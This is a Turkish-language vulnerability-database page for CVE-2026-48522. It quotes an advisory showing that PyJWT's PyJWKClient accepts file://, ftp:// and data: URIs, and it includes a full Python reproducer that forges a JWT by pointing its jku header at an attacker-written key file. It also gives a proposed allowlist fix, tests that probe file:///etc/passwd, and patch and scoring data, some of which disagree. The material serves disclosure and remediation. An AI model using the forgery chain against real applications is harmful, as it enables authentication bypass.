CVE Listesine Dön
CVE-2026-48522

PyJWKClient: missing scheme allowlist enables SSRF + token forgery via file://, ftp://, data: schemes

CVSS Skor

4.2

EPSS İhtimal

%0.2

Risk Skoru

0.0

Yayın

5 ay önce

Resmî yama doğrulandı

Etkilenen ürün ve sürüm için yayımlanan güvenlik güncellemesini uygulayın.

Envanterimdeki Etkisi

Yalnızca hesabınıza eklediğiniz kişisel ürünler değerlendirilir; kurumsal envanter burada görünmez.

Oturum kontrol ediliyor…

Zafiyet Açıklaması

DayBreach CVE AI Araştırması

CVE-2026-48522 için toplanan üretici, dağıtım, yama ve güvenlik kaynağı kayıtlarını karşılaştırıp kanıt bağlantılı bir açıklama hazırlayalım.

> [!NOTE] > The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation. ## Summary PyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib's default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can: 1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) — the file's contents are passed to `json.load`. 2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface). 3. **Forge tokens that PyJWT verifies as valid** — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts. ## Affected versions Tested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction. ## Reproducer (full attack chain — verified empirically) ```python import jwt as pyjwt from jwt import PyJWKClient from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import json, base64, time # Attacker generates keypair (no relation to real IdP) key = rsa.generate_private_key(public_exponent=65537, key_size=2048) pub_n = key.public_key().public_numbers().n def b64u(n): bl = (n.bit_length() + 7) // 8 return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode() # Attacker writes JWK Set containing their public key to /tmp jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256", "n":b64u(pub_n),"e":"AQAB"}]} with open("/tmp/attacker.json","w") as f: json.dump(jwks, f) # Attacker mints token signed with their private key, jku=file:// priv_pem = key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) now = int(time.time()) token = pyjwt.encode( {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600}, priv_pem, algorithm="RS256", headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"}) # Vulnerable application pattern: caller derives jku from token header # and passes to PyJWKClient without scheme validation header = pyjwt.get_unverified_header(token) client = PyJWKClient(header["jku"]) # <-- accepts file:// silently key_obj = client.get_signing_key_from_jwt(token) decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"], audience="target-app") print("Token verified:", decoded) # Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...} ``` ## Cross-library evidence — PyJWT is the outlier The same composition pattern is structurally safe in 4 other mainstream JWT libraries: | Library | Behavior on `jku=file://...` | Mechanism | |---|---|---| | **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler | | panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer | | golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https | | Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` | | Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build | PyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer. ## Recommended fix Add `allowed_schemes: tuple[str, ...] = ("https", "http")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted. ### Diff sketch against `jwt/jwks_client.py` ```python def __init__( self, uri: str, cache_keys: bool = False, max_cached_keys: int = 16, cache_jwk_set: bool = True, lifespan: float = 300, headers: dict[str, Any] | None = None, timeout: float = 30, ssl_context: SSLContext | None = None, allowed_schemes: tuple[str, ...] = ("https", "http"), # NEW ): """... :param allowed_schemes: URL schemes the JWKS endpoint is permitted to use. Default ``("https", "http")``. Pass ``("https",)`` for HTTPS-only operation. URLs with disallowed schemes raise ``PyJWKClientError`` before any fetch is attempted. """ # ... existing init code ... self.allowed_schemes = allowed_schemes self._validate_uri_scheme() def _validate_uri_scheme(self) -> None: """Reject the configured URI early if its scheme isn't allowed.""" from urllib.parse import urlparse parsed = urlparse(self.uri) scheme = parsed.scheme.lower() if not scheme: raise PyJWKClientError( f"PyJWKClient URI '{self.uri}' has no scheme; expected one of " f"{self.allowed_schemes!r}") if scheme not in self.allowed_schemes: raise PyJWKClientError( f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes " f"{self.allowed_schemes!r}; refusing to fetch from this URL") ``` ### Tests to add ```python def test_pyjwkclient_rejects_file_scheme(): with pytest.raises(PyJWKClientError, match="not in allowed_schemes"): PyJWKClient("file:///etc/passwd") def test_pyjwkclient_rejects_ftp_scheme(): with pytest.raises(PyJWKClientError): PyJWKClient("ftp://example.org/keys.json") def test_pyjwkclient_rejects_data_scheme(): with pytest.raises(PyJWKClientError): PyJWKClient('data:application/json,{"keys":[]}') def test_pyjwkclient_caller_can_lock_to_https_only(): with pytest.raises(PyJWKClientError): PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",)) ``` ### Compatibility - Default `allowed_schemes=("https", "http")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints - Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare) - No changes to urllib fetch logic itself — the fix is a pre-validation gate ## Class precedent This is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5. ## Prior art (verified 2026-05-06) Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection): - No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling - No existing GitHub issue or PR addressing scheme allowlisting - No silent fix in CHANGELOG through 2.12.1 - 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class ## Credit Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech). Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

IMPACT — Etkilenen Ürünler ve Yazılımlar

Affected Products

The following products are affected by CVE-2026-48522 vulnerability. Even if our threat engine is aware of the exact versions of the products that are affected, the information is represented below.

IDVENDORPRODUCTACTION
1pypipyjwt İncele
2pypipyjwt İncele
Total Affected Vendor: 1|Products: 2

RED HAT CSAF/VEX — Ürün Etki Kontrolü

Red Hat bu CVE için henüz bir CSAF/VEX etki kaydı yayımlamamış. Bu durum “etkilenmiyor” anlamına gelmez.

SCORING — CVSS Çoklu Kaynak Skoru

CVSS Scores

The Common Vulnerability Scoring System is a standardized framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from various sources for each CVE.

SCOREVERSIONSEVERITYVECTORSOURCE
4.2CVSS 3.x—Vektör yayımlanmadıGitHub Advisory
4.2CVSS 3.x—CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:NMicrosoft MSRC
0.0CVSS 4.0—Vektör yayımlanmadıGitHub Advisory

Yama ve İyileştirme Rehberi (Solution)

Solution & Remediation Advisory

Yama doğrulandı

2 doğrulanmış yama veya düzeltilmiş sürüm kanıtı bulundu.

osvpyjwt2.13.0

OSV düzeltilmiş sürüm: 2.13.0

reference

Yama veya çözüm referansı

Kaynağı aç
Etkilenen ürün ve sürümü yukarıdaki kaynak kanıtlarıyla doğrulayın.
İnternete açık servislerde erişimi kısıtlayın ve ağ segmentasyonu uygulayın.
Kanıtta belirtilen resmî güncellemeyi yalnızca eşleşen ürün ve sürüme uygulayın.
Sunucu günlüklerini ve ağ uçlarını anormal çalıştırma belirtileri için izleyin.

Public exploit ve aktif sömürü durumu

Doğrulanmış exploit istihbaratı

Bu CVE için henüz doğrulanmış public PoC, exploit repository’si veya Metasploit modülü bulunamadı.

Zafiyet Dağılımı ve Saldırı Kalıpları (CWE & CAPEC)

CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorizes the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-48522 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-48522 weaknesses.

Saldırı Vektörü ve Erişilebilirlik Karakteristiği

ErişimAğ üzerinden
YetkiGerekmiyor
KullanıcıGerekiyor

Resmi Kaynaklar ve Danışma Bültenleri

CVSS Vektör Radar Grafiği

4.2 / 10
Attack VectorNetworkComplexityHighPrivilegesNoneUser Interact.RequiredConfidentialityHighIntegrityLowAvailabilityNone

Vulnerability Scoring Details

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Attack VectorNetwork (Ağ)
Attack ComplexityHigh (Yüksek)
Privileges RequiredNone (Gerekmiyor)
User Interaction—
Confidentiality (Gizlilik)High (Yüksek)
Integrity (Bütünlük)Low (Düşük)
Availability (Erişilebilirlik)None (Yok)

Yama doğrulandı

2 doğrulanmış yama veya düzeltilmiş sürüm kanıtı bulundu.

Üreticiyi takip et

P
pypi logo
pypi

Zafiyet Türü (CWE & CAPEC)

İlgili Benzer Açıklar

Bu açığı API ile alın

Etkilenen ürünler, sürüm aralıkları, istismar durumu ve yama bilgisi tek istekte; ücretsiz anahtarla.

curl -H "x-api-key: $DAYBREACH_API_KEY" \
  "https://api.daybreach.dev/api/v1/intel/cves/CVE-2026-48522"